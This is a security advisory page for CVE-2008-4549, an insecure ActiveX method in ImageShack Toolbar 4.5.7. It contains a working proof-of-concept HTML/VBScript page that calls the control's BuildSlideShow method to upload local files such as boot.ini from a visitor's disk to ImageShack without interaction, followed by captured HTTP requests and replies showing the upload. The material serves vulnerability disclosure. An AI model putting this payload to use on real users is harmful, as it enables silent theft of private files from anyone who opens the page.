SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

ImageShack Toolbar FileUploader Class insecurities


Arrow  SecurityAlert : 4410
Arrow  CVE : CVE-2008-4549
Arrow  CWE : CWE-20
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : retrog alice it
Arrow  Published : 16.10.2008

Arrow  Affected Software : imageshack:imageshack_toolbar:4.5.7
imageshack:imageshack_toolbar:4.5.7.69



Arrow  Advisory Content :  

<!--

ImageShack Toolbar 4.5.7 FileUploader Class (ImageShackToolbar.dll)
insecure

method poc

This tool may allow a malicious web page to post arbitrary images on the
web

from a user hard drive. Images will be visible on ImageShack site, a way
for an

attacker to retrieve them maybe tag search or by understanding the
renaming

operation, ex. "_" chars are removed and the "tq2" string is appended.

My test image is still visible here:

http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg

Note that a file with a non-image extension can cross the network,
Imageshack

server replies with an error message, however this needs further
investigation

that I let you to do, ex. with custom packet fields injection.

I suggest users to uninstall it temporarily an just use the site
functionalities

Object safety report:

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller

original url: http://retrogod.altervista.org/rgod_imageshack_hack.html

rgod-tsid-pa-he-ru-ka

-

stay tuned with us ...

http://retrogod.altervista.org/join.html

security feeds, radio streams, techno/drum & bass stations to come

-->

<html>

<body>

<object classid='clsid:BDF9442E-9B03-42C2-87BA-2A459B0A5317' id='suntzu'
/></object>

<script language='vbscript'>

suntzu.BuildSlideShow
"file:///c:\\xp_wallpaper_glass.jpg","Big",1,"uhuhinterestingprivatethin
gs","Fade","White"

suntzu.BuildSlideShow "file:///c:\\boot.ini",
"Big",1,"uhuhinterestingprivatethings","Fade","White"

</script>

</body>

</html>

----

some wireshark's dump samples:

POST /upload_api.php HTTP/1.1

Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y731553141

Content-Length: 21755

User-Agent: ImageShack Toolbar 4.5.7 ([..])

Host: load9.imageshack.us

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: imgshck=[..]; un_cookie=1; latest=img404; flashInstalled=9.0;
__qca=[..]; rem_bar=1; nopopunder=1

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="toolbar"

IEImageShackToolbar-4.5.7.69

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="public"

yes

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="xml"

newformat

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="tags"

uhuhinterestingprivatethings

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="rembar"

1

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="fileupload";
filename="xp_wallpaper_glass.jpg"

Content-Type: image/jpeg

Content-Transfer-Encoding: binary

[file content]

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="thumbupload";
filename="xp_wallpaper_glass6fa1f1.jpg"

Content-Type: image/jpeg

Content-Transfer-Encoding: binary

[file content]

--B-O-U-N-D-A-R-Y731553141

Content-Disposition: form-data; name="class"

s

--B-O-U-N-D-A-R-Y731553141--

reply:

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

X-Powered-By: PHP/5.1.2

Set-Cookie: latest=img262; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/;
domain=.imageshack.us

Set-Cookie: PHPSESSID=[..]; path=/

Set-Cookie: always_opt=-1; path=/; domain=.imageshack.us

Set-Cookie: rem_bar=1; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/;
domain=.imageshack.us

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Content-type: text/xml

Pragma: public

Cache-Control: must-revalidate, post-check=0, pre-check=0

Date: Thu, 24 Jan 2008 07:56:25 GMT

Server: lighttpd/1.4.8

<?xml version="1.0" encoding="iso-8859-1"?><imginfo
xmlns="http//ns.imageshack.us/imginfo/6/" version="6"
timestamp="1201161385">

<rating>

<ratings>0</ratings>

<avg>0.0</avg>

</rating>

<files server="262" bucket="7959">

<image size="16646"
content-type="image/jpeg">xpwallpaperglasstq2.jpg</image>

<thumb size="3155"
content-type="image/jpeg">xpwallpaperglasstq2.th.jpg</thumb>

</files>

<resolution>

<width>426</width>

<height>320</height>

</resolution>

<class>s</class>

<uploader>

<ip>87.11.97.155</ip>

</uploader>

<links>

<image_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.
jpg</image_link>

<image_html><a
href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.
jpg" target="_blank"><img
src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jp
g" alt="Free Image Hosting at www.ImageShack.us"
border="0"/></a></image_html>

<image_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglass
tq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2
.jpg[/IMG][/URL]</image_bb>

<image_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglas
stq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq
2.jpg][/url]</image_bb2>

<thumb_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.
th.jpg</thumb_link>

<thumb_html><a
href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.
jpg" target="_blank"><img
src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th
.jpg" alt="Free Image Hosting at www.ImageShack.us"
border="0"/></a></thumb_html>

<thumb_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglass
tq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2
.th.jpg[/IMG][/URL]</thumb_bb>

<thumb_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglas
stq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq
2.th.jpg][/url]</thumb_bb2>

<ad_link>http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jp
g</ad_link>

<done_page>http://img262.imageshack.us/content.php?page=done&l=img26
2/7959/xpwallpaperglasstq2.jpg</done_page>

</links>

</imginfo>

with the boot.ini file:

POST /upload_api.php HTTP/1.1

Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y732118720442

Content-Length: 1077

User-Agent: ImageShack Toolbar 4.5.7 (WinNT 5.1 Service Pack 2)

Host: load10.imageshack.us

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: imgshck=[..]; un_cookie=1; latest=img214; flashInstalled=9.0;
__qca=[..]; rem_bar=1; nopopunder=1; always_opt=-1

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="toolbar"

IEImageShackToolbar-4.5.7.69

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="public"

yes

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="xml"

newformat

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="tags"

uhuhinterestingprivatethings

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="rembar"

1

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="fileupload"; filename="boot.ini"

Content-Type: application/octet-stream

Content-Transfer-Encoding: binary

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" / fastdetect /NoExecute=OptIn

--B-O-U-N-D-A-R-Y732118720442

Content-Disposition: form-data; name="class"

s

--B-O-U-N-D-A-R-Y732118720442--

reply:

HTTP/1.1 200 OK

Transfer-Encoding: chunked

X-Powered-By: PHP/5.1.2

Content-Type: text/xml

Set-Cookie: latest=img89; expires=Sun, 18-Jan-2009 07:56:28 GMT; path=/;
domain=.imageshack.us

Date: Thu, 24 Jan 2008 07:56:28 GMT

Server: lighttpd/1.4.18

<links>

<error id="wrong_file_type">Wrong file type detected for file
boot.ini:application/octet-stream</error>

</links>



Arrow  References :

http://xforce.iss.net/xforce/xfdb/39921
http://www.securityfocus.com/bid/27439
http://www.securityfocus.com/archive/1/archive/1/486941/100/200/threaded
http://www.milw0rm.com/exploits/4981
http://secunia.com/advisories/28644




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...
Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration
PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass
Copyright © SecurityReason.com. All Rights Reserved.